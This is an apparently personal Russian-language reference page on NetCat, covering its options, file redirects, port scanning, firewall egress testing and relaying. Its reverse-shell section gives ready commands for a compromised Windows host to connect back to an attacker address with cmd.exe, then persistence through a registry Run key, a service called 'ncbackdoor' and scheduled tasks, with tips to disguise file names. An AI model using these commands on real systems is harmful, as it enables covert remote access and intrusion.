# NetCat

# Общая информация

Два режима: клиент и сервер. Режим сервера определяется ключом -l (listener). Может работать в TCP и в UDP режиме. Незашифрованная передача данных. Есть Cryptcat с шифрованием, синтаксис аналогичный. Также можно использовать ssh туннель для шифрования.

**Общие принципы для обоих типов соединения**

В случае простого соединения (без передачи из файла) двустороннее соединение. Поддерживает редиректы в/из файл/сокет.

<table border="1" id="bkmrk-%3C-%D0%A4%D0%B0%D0%B9%D0%BB-%D0%B8%D1%81%D1%82%D0%BE%D1%87%D0%BD%D0%B8%D0%BA-%D0%BE%D1%82%D0%BF%D1%80" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 17.2025%;"></col><col style="width: 82.9167%;"></col></colgroup><tbody><tr><td class="align-center">&lt;</td><td>Файл-источник отправляется в скрипт (в данном случае приложение nc)

nc –l –p 12345 &lt; dumpfile

- Файл dumpfile передается как STDIN для NetCat
- NetCat отправляет это содержимое всем подключившимся клиентам
- После отправки файла соединение может закрыться

</td></tr><tr><td class="align-center">&gt;</td><td>Полученное от клиента отправляется в файл. Файл перезаписывается.

nc -l -p 12345 &gt; file

- Файл очищается
- В него сохраняются полученные данные
- Не отображается в выводе

</td></tr><tr><td class="align-center">&gt;&gt;</td><td>Полученное от клиента добавляется в файл.</td></tr><tr><td class="align-center">|</td><td>Создает неименованный канал, может работать с потоковыми данными. Создается 2 процесса в памяти. При закрытии соединения, процесс формирования данных (слева от pipe) остается открытым. Теоретически возможно продолжение передачи данных другому клиенту. Вплоть до передачи с одного nc на другой nc</td></tr></tbody></table>

**TCP режим**

Режим по умолчанию. При завершении соединения закрывает приложение. Отправляет вывод в консоль.

**Общие ключи для клиента и сервера**

<table border="1" id="bkmrk--v-%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9-%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 21.9644%;"></col><col style="width: 78.1548%;"></col></colgroup><tbody><tr><td>-v</td><td>расширенный вывод.

-n не резолвит ip адреса. Без -v, ключ -n бессмысленный

</td></tr><tr><td>-w &lt;timeout&gt;</td><td>Таймаут при отсутствии ответа сервера. По умолчанию 3 секунды.</td></tr><tr><td>-d</td><td>Отсоединенный от консоли режим</td></tr><tr><td>  
</td><td>  
</td></tr><tr><td>  
</td><td>  
</td></tr></tbody></table>

**Ключи для сервера**

nc -l -p port \[-options\] \[hostname\] \[port\]

<table border="1" id="bkmrk--p-%D0%BF%D0%BE%D1%80%D1%82-%D0%9D%D0%BE%D0%BC%D0%B5%D1%80-%D0%BF%D1%80%D0%BE%D1%81%D0%BB%D1%83" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 21.9644%;"></col><col style="width: 78.1548%;"></col></colgroup><tbody><tr><td>-l</td><td>Либо l либо L всегда используется в режиме сервера. Завершается при завершении сессии</td></tr><tr><td>-L</td><td>Перезапускается при завершении сессии.</td></tr><tr><td>-p порт</td><td>Номер прослушиваемого порта</td></tr><tr><td>-e (или -c, аналогично)</td><td>Приложение, запускаемое при подключении. С bash сработало, с python3 напрямую не сработало.</td></tr><tr><td>-i &lt;период&gt;</td><td>интервал между приемкой сообщения и отображением сообщения

</td></tr><tr><td>-r</td><td>случайные локальные порты источника (?)</td></tr><tr><td>-k</td><td>множественные подключения</td></tr></tbody></table>

**Ключи для клиента**

 nc \[-options\] hostname port\[s\] \[ports\]

Два режима - просто соединение и сканирование портов. Несколько разные подходы.

<table border="1" id="bkmrk--i-%3C%D0%BF%D0%B5%D1%80%D0%B8%D0%BE%D0%B4%3E-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%B2%D0%B0%D0%BB" style="border-collapse: collapse; width: 100%; height: 223.85px;"><colgroup><col style="width: 21.9644%;"></col><col style="width: 78.1548%;"></col></colgroup><tbody><tr style="height: 87.85px;"><td style="height: 87.85px;">-i &lt;период&gt;</td><td style="height: 87.85px;">интервал между

- исполнением команд при сканировании портов,
- отправки сообщений

</td></tr><tr style="height: 46.6px;"><td style="height: 46.6px;">-e (или -c, аналогично)</td><td style="height: 46.6px;">Приложение, запускаемое при подключении на клиенте. Получается обратный shell. Команды, введенные на сервере, интерпретируются и отдается результат.</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">-r</td><td style="height: 29.8px;">При сканировании портов - случайные порты из диапазона.</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">-s</td><td style="height: 29.8px;">подмена адреса источника</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">-z</td><td style="height: 29.8px;">режим без отправки данных. Для сканирования.</td></tr><tr><td>-q &lt;sec&gt;</td><td>Завершение после sec секунд. Актуально во время сканирования портов, но при необходимости отправки некоторых данных и сохранения ответа. Можно наткнуться на сервис типа ssh или nc, который остановит сканирование. </td></tr></tbody></table>

**Запуск сервера с консолью**

```
nc –l –p 12345 –e /bin/bash
```

Расширенный вариант с перезапуском подключения и не привязанный к консоли

```
c:\nc.exe -d -L -p 1234 -e cmd.exe
```

Для проверки на другом сервере запускаем

```
nc 192.168.1.204 12345
ls
m.txt
exit
```

**Реверсивный shell**

На атакованном клиенте

```
nc.exe -d host 1234 -e cmd.exe
```

Одним из недостатков в ожидании события запуска (Планировщик) или действия пользователя (вход в систему или перезагрузка компьютера). Но и это поведение еще надо настроить. Настройку лучше сделать при входе любого пользователя в систему, может удастся спровоцировать администратора на логин. Настройка:

```
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d 
“c:\windows\nc.exe -d 192.168.1.70 1234 -e cmd.exe”
```

Пример создания сервиса

```
sc create ncbackdoor binPath= “cmd /K start c:\nc.exe –d 192.168.1.70 1234  
–e cmd.exe” start= auto error= ignore
```

Использование планировщика задач

Проверка наличия задач

```
schtasks.exe
```

Настройка задачи (возможно неверно)

```
at 15:00:00 /every:m,t,w,th,f,s,su ““c:\nc.exe -d 192.168.1.70 1234 -e cmd.exe””
```

Естественно лучше переименовывать все в похожие-на-нужные имена.

**Файл-сервер**

```
# Сервер - раздает файл
nc -l -p 12345 < important_document.pdf

# Клиенты - получают файл
nc 192.168.1.100 12345 > received_document.pdf
```

**Сканирование портов**

Интересная возможность. Только в режиме клиента. Базовый вариант

```
nc -v -z 192.168.2.36 1-65535
```

Перечисляются порты, можно через запятую. Если не установить -z то найдет первый открытый порт, откроет соединение и все. Лучше с ключом -r

-w &lt;sec&gt; задержка при неактивности. Минимум 1 секунда, поэтому не вариант для быстрого сканирования. Можно просканировать несколько сотен портов на одном адресе, но дальше что-то другое.

Bash скрипт для сканирования серверов с текстом запроса

```bash
for i in `cat hostlist.txt `;do
nc -q 2 -v $i 80 < request.txt
done
```

**Тестирование исходящих правил брандмауэра**

Убедиться, что исходящие правила фильтрации трафика существуют и настроены так, как хотелось. Схема проверки

<div drawio-diagram="206"><img src="http://bobrobotirk.ru/uploads/images/drawio/2025-10/drawing-1-1760079344.png" alt=""/></div>

На тестовом сервере должны быть открыты 65535 портов в режиме TCP и UDP. Это очень много, запускать listener'ы на всех этих портах нереально. Вариант: сконфигурировать два listener на TCP и UDP, а через iptables все соединения по всем портам отправить на эти listener.

```
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 1:65535 -j REDIRECT --to-port 1234
```

После этого запускаются

```
nc –l –p 1234
nc –u –l –p 1234
```

 и все!

**Relay сервер**

Простейший фиксированный relay сервер.

```
nc –l –p 12345 | nc <hostname of target> 54321
```

После подключения к этому серверу по порту 12345, target увидит запрос от relay с порта 54321.

**UDP режим**

-e не работает

-o filename сохраняет бинарный дамп в файл